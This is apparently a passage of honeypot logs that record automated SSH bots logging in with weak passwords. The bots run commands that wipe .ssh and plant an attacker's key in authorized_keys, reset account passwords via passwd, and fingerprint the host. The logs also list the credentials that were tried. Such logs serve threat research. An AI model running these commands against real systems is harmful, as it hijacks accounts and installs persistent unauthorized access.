-l"},{"seq":16,"at":"2026-08-27T14:05:24.501308+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:05:24.951023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:05:26.097170+00:00","kind":"output","latency_ms":null,"data":" 14:05:26 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:05:26.545798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:05:28.591179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:05:28.931567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:05:29.898884+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:05:30.750590+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:05:32.161765+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:32 up 7 days, 10:55, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:05:32.500399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:05:34.109173+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:05:34.439282+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:05:36.181291+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:05:36.919118+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:05:38.086197+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T14:05:38.422431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:05:39.542760+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:05:39.877251+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:05:41.675929+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"ubuntu2026!","method":"password","accepted":true,"tier":"other"}]} {"id":"0df1f6c7-9098-4009-9dbe-b63024e6c927","name":"crimson-crisp-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":36516,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":830,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:05:31.611089+00:00","ended_at":"2026-08-27T14:05:33.842343+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2193,"events":[{"seq":1,"at":"2026-08-27T14:04:49.651809+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:04:50.480557+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:04:56.913964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:04:59.024030+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:04:59.852506+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nCAAtxeqFZgFg\\nCAAtxeqFZgFg\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:05:00.679911+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nCAAtxeqFZgFg\\nCAAtxeqFZgFg\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:05:01.509697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:05:01.564165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:05:01.598856+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:05:03.583636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:05:04.414055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:05:06.125550+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:05:06.971392+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:05:08.135124+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:05:08.969454+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:05:11.015344+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:05:11.846345+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:05:12.886778+00:00","kind":"output","latency_ms":null,"data":" 14:05:12 up 7 days, 10:55, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:05:13.716385+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:05:15.913927+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:05:16.744079+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:05:17.915079+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:05:18.743276+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:05:20.772899+00:00","kind":"output","latency_ms":null,"data":"top - 14:05:20 up 7 days, 10:55, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:05:20.891201+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:05:23.012708+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:05:23.847332+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:05:25.779819+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:05:26.616721+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:05:27.921882+00:00","kind":"output","latency_ms":null,"data":"mailuser"},{"seq":31,"at":"2026-08-27T14:05:28.752143+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:05:30.782440+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:05:31.613082+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:05:33.581145+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"mailuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"dc68e0c3-652b-43fb-b934-294a23d422de","name":"umber-sincere-tern","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":47006,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:05:13.214127+00:00","ended_at":"2026-08-27T14:05:14.904915+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ea3ccae7-1ea8-4cbd-bc73-b1a25be5429e","name":"tawny-painted-kakapo","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46042,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:05:11.577499+00:00","ended_at":"2026-08-27T14:05:12.547611+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f7bf5d70-b7f4-4600-af85-0c95331b7225","name":"wistful-meadow-bison","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":38238,"username":"mailuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:04:55.553476+00:00","ended_at":"2026-08-27T14:04:56.651194+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"mailuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7f5ebbd9-ecae-42e4-99c5-1eac9eb9d5e3","name":"gallant-weathered-saola","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":37424,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:04:52.408117+00:00","ended_at":"2026-08-27T14:04:53.892016+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"523fdf1f-cd18-4578-bb06-808128e94259","name":"dutiful-crystal-lark","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":53042,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":360,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:04:09.869400+00:00","ended_at":"2026-08-27T14:04:11.405987+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2160,"events":[{"seq":1,"at":"2026-08-27T14:03:41.508208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:41.874704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:45.800014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:03:47.452108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:47.957900+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:48.525757+00:00","kind":"input","latency_ms":null,"data":"echo \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:48.887298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:03:49.986091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:03:50.219341+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:03:50.268768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T14:03:50.579285+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:51.429353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:51.897367+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:53.627730+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:54.195558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:55.245807+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:55.607072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:56.689588+00:00","kind":"output","latency_ms":null,"data":" 14:03:56 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:57.051123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:57.974518+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:58.334771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:04:00.335677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:04:00.794314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:04:02.830299+00:00","kind":"output","latency_ms":null,"data":"top - 14:04:02 up 7 days, 10:54, 0 user, load average: 0.19, 0.14, 0.15\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:04:03.189943+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:04:05.160050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:04:05.519143+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:04:06.999218+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:04:07.369215+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:04:08.330239+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":31,"at":"2026-08-27T14:04:08.695770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:04:09.543823+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:04:09.870193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:04:11.297811+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"pass","method":"password","accepted":true,"tier":"other"}]} {"id":"0583a9ed-0c6c-46a0-b7da-a070a9a60675","name":"earnest-vivid-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":55208,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:44.871447+00:00","ended_at":"2026-08-27T14:03:45.692444+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"steam","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"93b65c5b-a964-4e8f-9f66-274d26b33beb","name":"bashful-snowy-greenfinch","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":54100,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:42.681542+00:00","ended_at":"2026-08-27T14:03:43.864854+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"948ef0ae-b1a8-469a-a716-6947083055e0","name":"hidden-courtly-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":40586,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":829,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:03:41.618952+00:00","ended_at":"2026-08-27T14:03:44.018826+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2170,"events":[{"seq":1,"at":"2026-08-27T14:03:00.901053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:01.729288+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:08.566310+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:03:10.101190+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:10.930882+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\n7ZeGNqMcUPYY\\n7ZeGNqMcUPYY\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:11.763777+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\n7ZeGNqMcUPYY\\n7ZeGNqMcUPYY\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:12.405198+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:03:12.589279+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:03:13.054721+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:03:13.826360+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:03:14.656301+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:16.660589+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:17.492288+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:19.272315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:20.102618+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:22.299166+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:23.130400+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:24.894113+00:00","kind":"output","latency_ms":null,"data":" 14:03:24 up 7 days, 10:53, 0 user, load average: 0.1, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:25.720706+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:27.640098+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:28.468100+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:03:29.334059+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:03:30.160801+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:03:31.488216+00:00","kind":"output","latency_ms":null,"data":"top - 14:03:31 up 7 days, 10:53, 0 user, load average: 0.1, 0.12, 0.11\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:03:32.315671+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:03:33.997398+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:03:34.825270+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:03:36.405709+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:03:37.239218+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:03:38.927641+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":31,"at":"2026-08-27T14:03:39.753650+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:03:40.775420+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:03:41.619959+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:03:43.754476+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"519f44ca-dec4-40cb-b4d2-6088121996a4","name":"vaulted-shaded-galago","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":42164,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:06.885137+00:00","ended_at":"2026-08-27T14:03:08.299418+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ubuntu","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"486eac9f-e731-4601-a83b-7186dbc6262f","name":"amiable-misty-wagtail","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":41376,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:03.659499+00:00","ended_at":"2026-08-27T14:03:05.222555+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dbd9d629-1181-45cc-9e07-b48f4a6c2a10","name":"obsidian-quiet-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":51506,"username":"lthpc","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":212,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T14:02:50.824771+00:00","ended_at":"2026-08-27T14:02:50.940092+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T14:02:48.270112+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r 